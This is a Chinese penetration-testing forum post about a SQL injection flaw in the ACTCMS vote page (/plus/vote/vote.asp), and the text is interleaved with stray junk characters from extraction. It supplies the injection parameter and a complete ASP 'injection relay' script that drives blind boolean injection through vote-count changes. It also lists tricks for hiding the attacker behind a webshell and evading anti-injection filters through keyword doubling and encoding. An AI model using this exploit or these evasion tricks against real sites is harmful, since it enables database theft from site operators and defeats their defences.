中国网络渗透测试联盟

标题: 注入中转的高级应用,actcms漏洞以及其他 [打印本页]

作者: admin    时间: 2012-11-6 21:13
标题: 注入中转的高级应用,actcms漏洞以及其他
1 F  s( \% D& M9 M5 C
看到ninty大牛的blog的一篇文章; t( v- R2 k9 K9 c0 H6 c, k( K) ]  k
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]; k) V/ s2 y$ G
关于actcms漏洞的利用  by 3x qq:381862589
0 L6 [- R1 n  c# o  Q- e转载请注明以上! ^: s: q  S$ _3 t7 J. ]
漏洞文件:
; z! E: f; U! f: Q* `; B0 W# Y/plus/vote/vote.asp- w/ I+ H3 F$ |8 b
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then    4 O. f6 V" U: M4 V$ F( o
9 j4 _4 d4 Y+ n) c9 m9 Q
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   
! F/ B, k% g8 l+ u3 v$ Z0 v9 g: n* O& j: y3 I" a
3    response.end   
0 {& L/ U. F8 M# @% R6 H3 t+ Y  y; O1 _
4    end if    : L: G" r1 t  [7 X+ S- j" r
3 m5 y' g) S! r* _6 S
5    for i=1 to request("voted").count    , e6 |" r  O9 |8 _' m, w* ?

% q2 r  l* j: S. F7 D6 z  G6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))    : z! q  v: D$ L4 a7 j, w

$ f6 b2 B( ]! B$ [' S4 ~0 w; I2 b7    next    , b2 t, s& b$ ]1 m. R9 `
" v8 C( a" L9 ^  t& B; i
8....   
" K( y0 ~2 F4 G/ Q: ^9 R, ~" ~! U6 T: @) v; g; h7 ^3 t
9response.Redirect "index.asp?id="&id&""   4 l: Y# r7 ?5 f- A( e' K+ }
投票结束回跳转回index.asp这个投票结果页面0 q6 A) G$ G0 o6 b8 i0 T
如果投票成功票数加1
3 V( D; J$ M5 S, \/ O: ^2 j            失败票数不变
4 p! D* x8 V' u如图:
& s- S7 X. {8 v1 p, t9 s! {http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
7 E' ~6 e! u4 S
' H6 L5 `# F* I6 a; L0 E2009-12-27 13:20$ @" q& ^# t% s, B

: `: ?! F' s, V  U6 s利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了$ Z7 l9 t: L+ v* L$ D, |  v

. ?2 m1 l1 r# [5 \9 r' l& |本帖隐藏的内容需要回复才可以浏览7 F( E4 O) _6 o
我们用注入中转来实现这个注入具体代码如下:0 o1 Z9 _5 A9 i
先用寂寞的刺猬大牛的注入中转生成jmget.asp2 g3 p& U. s+ g' V# M
注入地址:http://localhost/actcms/plus/vote/vote.asp
/ e' R, P4 Z% l% f; R2 `注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项
0 L3 Q# Q! A1 ~$ i, t5 z: B0 @. S( a# W
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% 5 g+ T" X2 r# F$ R& u

% u" Z* K! I2 M+ E( p! y02JmdcwName=request("jmdcw") 8 g; R! \5 j0 S+ r4 Z

7 d& Z: N9 P1 ?5 r- g03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] ! H( M$ Z9 A  }6 n7 r. u
; j, B' Y* \, c& V
04JmStr="id=1&voted=-1 or 1="&JmdcwName
: Z2 |0 d2 R% u2 p' y& C; v" m
" L" h7 R* B$ O7 m  Z/ d05JmStr=URLEncoding(JmStr)
- ^. B$ M( Q- j: J
7 Y& j$ P  E. H8 Q9 Y& m/ B06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
# X) U, p7 ~  H, u: V3 W
. i6 {7 c, }: O07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
5 {! O5 d" e( v7 {- U) S# e& U7 C& `
08testurl=testurl & "?" & JmStr ; p5 y3 ?/ j6 a/ O6 f& [5 [
- O+ R2 \, B9 ^1 g3 A
09JMUrl=JMUrl & "?" & JmStr ; U* R: W) I7 U1 b! i% Y
) K+ t% ^- y7 {2 a  }+ @5 w, E
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"! p. |! b6 ~- G& X6 ^
: w* N& C* q  l* w$ |+ T9 ^
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
8 \; u$ D0 `/ w$ \
: _6 B9 o  n2 Y6 g12JmCok=replace(JmCok,chr(32),"%20")  % R: _1 ?$ D5 @3 p7 A+ Q3 c

1 G' d- Q3 q) \- Y# d13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 " k' P7 }" E  F

  d" w' R5 v5 z- E9 F3 i; g6 f- a14  
% u+ }' i" Z$ Y& A
. B) O1 X! K, f7 K' e2 t9 r15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 , E* V% e5 m# H! f3 c9 f  Q" ?
: T8 H& C/ {! H/ N" B( J$ n8 }
16  
; o- S" I% m# o! y/ r$ E
( z7 d+ ?% {; Z+ O17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 # E( l# a# m& H4 n6 t6 M

9 h* e$ _( x: N& y18response.write test1&""&test2&""0 t/ N) f1 n) b3 ?

) ~* z; `( N. y! O4 j7 d19  * q( Z+ X8 f9 X) f. V( `

- \- K- w" L+ x5 ?20if test1=test2 then '如前后记录相等,表示失败
3 m" d' L% \1 ?9 i+ i, M8 }' h" b) T( R/ o7 a" J
21  response.write "failed"/ o( e8 H4 x4 x+ K+ }4 B* h

& ^4 m: T" X* l' `22else ) \/ }& E. a0 R

$ m2 g0 ?+ e* x1 d, m. x* a23  response.write "succeed"! t4 j* j8 \% h  R% K# _% }  Y+ e: A

1 J: X. r) \- s( l+ m24end if  5 z- i3 Q% {! I! p+ d

1 U+ v+ n! Y' R: ?/ S5 J$ M4 j25  ) r4 ^: K" M/ }4 t, m: `) x

( z3 `- M) S( p) ^6 k; A26response.write "by 3x"
3 k: z  S- c' P# y
/ ?) o3 U; P# V4 A' H  E27  & T  A! T  F# c- \% b9 m# _$ w
3 t  y: f' \. y4 E3 W% x( @* X. o' F
28  
0 t3 N2 K5 E$ O2 K7 F0 ~6 r0 s3 _/ e% X! ^# r" z! S
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   / Y  Q) v- r5 r/ z- N$ {

. Q. C/ q6 X& \$ k$ L: O- l30Dim Http
  H! q" h& G* F! O8 x/ B3 x9 [( r3 y# {/ y
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") # \; f4 p4 A! c+ B$ |* c9 h
/ z. J( O2 J4 m$ g. W/ W
32With Http
* z& ^2 r! ?# i8 Y& p* e0 i# q" R% j7 L8 D& T2 ^
33  7 H9 M/ h1 [$ u! ]0 d+ Z
7 c% X+ l( J3 t
34.Open "GET",PostUrl,False* e& ]4 r8 L; s2 G

3 H7 `! g. c3 o! M  H35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"8 U! y8 G& ~$ J7 _
. B- d, z$ k& z3 f
36.SetRequestHeader "Referer",PostRef 4 _5 Z# R. {7 }0 H; l

2 G4 b% l3 b* v0 R37.SetRequestHeader "Cookie",PostCok
7 L7 Y# N1 F3 ~  E7 K
4 ^( k" ~4 M5 M/ |- t# Q* S38.Send () ! w/ z7 W- [$ C( h% _9 ?0 n
$ I5 h. l! @3 m3 \9 p7 i
39PostData = .ResponseBody
$ `$ a8 B2 J% Z# t! k6 v
/ ~4 `" L. T4 [40End With  W: \8 g7 j0 M0 e! R4 ]
* X7 D. C( R, g7 F
41Set Http = Nothing
  d# Z! z/ {& K
7 Y+ Q( Y- O5 b1 U% |42PostData =bytes2BSTR(PostData)
+ A$ m' E( I. B! J% `  E6 D3 t5 C, S$ ?/ c& H6 Z
43End Function! a9 [, ^" ~( i& x* z- n' ^
) g- |4 ~" N! e, g& Y  B% y
44  $ X' }$ q) {- `& l+ ~+ P
1 l( D8 J+ h0 I7 J& m
45  
7 [1 ~, }1 l0 v5 d- t- P- y
2 K5 \3 ~* o* f( H46Function bytes2BSTR(vIn)
& C' b) r9 q$ L; y1 `2 f, T1 O$ g; B
47Dim strReturn
$ M8 q: A% d* {' \8 S  U; N7 Z! B& w7 ^
48Dim I, ThisCharCode, NextCharCode
& R' z' K4 K: q
: v, |. U/ ~0 A  }49strReturn = "". _5 g: e8 c1 R- \% I/ S' I

! j9 w/ |# e4 P4 v( o5 [50For I = 1 To LenB(vIn)
6 ]! J2 \8 k) n4 I" M8 F
) G: e, C8 g9 S- G51ThisCharCode = AscB(MidB(vIn, I, 1))
# ?" o. O" K+ z. }  F
+ J1 ]0 B: s3 h2 k: f- ^52If ThisCharCode < &H80 Then
: {: k* f2 ?1 m/ A
, y; m% e3 C1 `" S: M- N53strReturn = strReturn & Chr(ThisCharCode) : D& L, V( l! i9 ?

5 i* J0 G6 ?+ L7 j, d' u; ?54Else. D% z2 Y' S  o% |* B5 \2 l; K

7 I) v3 M5 I: P% v; z1 K55NextCharCode = AscB(MidB(vIn, I + 1, 1))
; y; _! v! f4 S4 A# d6 b" B& f7 H" D$ D0 L2 r3 p. E. u" {
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) : `  H. b7 f* D* A: J

- _% N# L+ T, N0 g4 b5 @- e57I = I + 1 & I  H0 Y' V# q6 E4 G7 D

9 a; }  N5 r- J: I$ l* D+ {58End If
" ?/ q2 H* i, ?7 @5 X
8 q- ~' `$ \7 Z: g/ ^: [4 d% k( j59Next8 q: d: c( v  {7 E3 P# J

7 u. O$ i5 ]  d5 s. Z4 e" F60bytes2BSTR = strReturn , P/ i; [, f7 Q# }1 }8 W2 f5 ~
1 Q, W7 f: _5 l) `# @) |
61End Function
( y: l9 A9 a! P0 [! y, L4 G
4 b, N/ A- f& {) E& U) s62  
+ Z& h+ j  h8 E; l- o% T. h; }8 [) Q' ]+ p! ~* i+ q
63Function URLEncoding(vstrin)  6 z! R0 f; y  b, o

# n- p; N& ]8 ?6 I! X64strReturn=""
4 ^3 Q3 y0 [/ n( m6 ]% J
" ~9 {7 }$ f, v* E) T1 {65Dim i
+ q  L5 r7 g0 L
4 A% S0 a; F, L66For i=1 To Len(vstrin)
$ ~; B& M( P$ j7 n# u' H6 i2 E
" x7 s" p6 U7 J$ r; o67ThisChr=Mid(vstrin,i,1) * C& @& V) W2 z. J' q1 u) q; a
* ?* F$ t4 M& `5 d& Z' L
68if Abs(Asc(ThisChr))< &HFF Then, E( ~6 c: I( g0 `

# U6 _& [0 v2 u4 E. g; \6 g1 U" I* o& {69strReturn=strReturn & ThisChr
3 g/ d; c, f+ E1 X0 s# c& e9 Q5 u7 X# R& Z& Q$ k
70Else
' ?! ]/ q/ |( T* K# Q: v1 x: H! A. A1 J, B1 i
71InnerCode=Asc(ThisChr)
# f+ u' \! L' L( b
. R- O5 e) t4 U# y( l. A; L  Y72If InnerCode<0 Then1 J' a: P* y- K! e

- ^+ s" C& m$ R" J* u73InnerCode=InnerCode + &H10000   ~9 M; K) |; E1 z1 Q# H3 R  H$ T
; l! }/ l  S: l2 [! v3 Y
74End If- |* J; [# L0 }3 f8 n
0 f* Q$ W* s; s; _* B7 m7 x
75Hight1=(InnerCode And &HFF00) \&HFF
- p! m" H, k7 K4 u- P. Q+ A* S- U' k5 Y
76Low1=InnerCode And &HFF 3 \* M" Q* b7 p2 i* i3 w3 H
3 d7 z" j; U: q( p4 ~
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
- I4 q% U9 D" n: z3 w0 e6 t# |$ j7 d, C' ~
78End if
# v' U# y+ P( W+ n/ o; z1 R% @5 g6 \+ S+ v9 E
79Next  j8 V" \' O* M2 M6 o$ n: Z, D
: i0 O5 K: F! k$ C# p; M: J* S
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 % w9 V7 K. f3 s0 O

: D% @" z7 q" k8 ~- e& B, J81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
7 Y- a( I9 C! }2 I3 x4 y, R, R
( k; A8 p, y" m( C/ {; Q, V! s/ N82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
" s+ o0 E+ o" S& n7 D$ j  Q
) I' H" Q) y1 y4 w; q83URLEncoding=strReturn
( x$ _- B3 e( M, k/ }+ R% a: x4 b/ V; {# L& S
84End Function1 E  |7 a7 C) y2 I1 m

. W7 N2 Q& Z+ |85    |: w) D' H: l- h0 ?* K
4 r; v, i7 J4 B3 t/ {4 Z  R, _
86function getSt(body)
1 C, ^7 ?$ x* [2 Z- v/ h$ F6 b3 r" R% ^" j
87  startpot=instr(body,"投票人数:")+len("投票人数:")
4 U: p) G/ ^+ ^0 }; C4 ?) s/ N) E( Z! c: i- w( m) U
88  endpot=instr(startpot,body," ") 6 g& L3 q7 k, R( B. `2 W

, L8 H; I5 L6 r) w8 z3 a89  getSt=mid(body,startpot,endpot-startpot)
' y% q8 g. j6 [6 K
% a* Y" i# F( Q# @90end function : ?2 S- m; }9 B3 x3 v+ t

& Y1 Y- e8 Z2 p+ u/ w) c8 j91%>
( O' H" Q; [* l" k注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
+ h; d& ^3 P3 o( g  p- A测试下效果:8 ]+ ^3 Z2 c, Q# Y
投票成功:7 [" K) w5 E0 v- O$ w
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB); K8 `- e0 a+ m  j, Y. a2 J

/ N* w+ l* H) }! J% Z" a2009-12-27 13:296 q% p7 \  w5 P
投票失败
1 p* G+ V; B( r# s- h  i5 Qhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)2 D7 d5 M8 |  ?% A4 |1 p
- D$ e. S/ W* E
2009-12-27 13:29# Q3 K) o, \2 X, `( {" ^3 o5 z
-------------------------------------------------------------------------------
' z1 b/ Z( D' S) U; |6 Q) K, O再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
3 ~( J( s, E  u% q' R& T7 `( |" V+ I很抱歉。。。只能用单线程工具去注入。。。。。
7 W# T) J3 a* @3 l: U* E所以失败。。。不好意思。。。) @, @3 c' d* h1 S
-------------------------------------------------------------------------------( k" G  C; }: ^, b) }, z
% u$ i7 p8 t+ T& ~) }% u
注入中转的一些其他应用- W; v7 y( J% e! u2 G, \  n* p) t
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了% r# X2 r: |: \' g7 y1 o
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
5 y- K3 Q# [) G3 H/ U1 X2.post注入转成get型的注入,方便我们使用工具来跑; h& D, @+ n  u' B6 c
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
  t" U- a) M5 v- P1 v4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过6 M: l6 m1 j9 z1 s
: e# t! Q; }0 n- w% }; T% N9 R





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2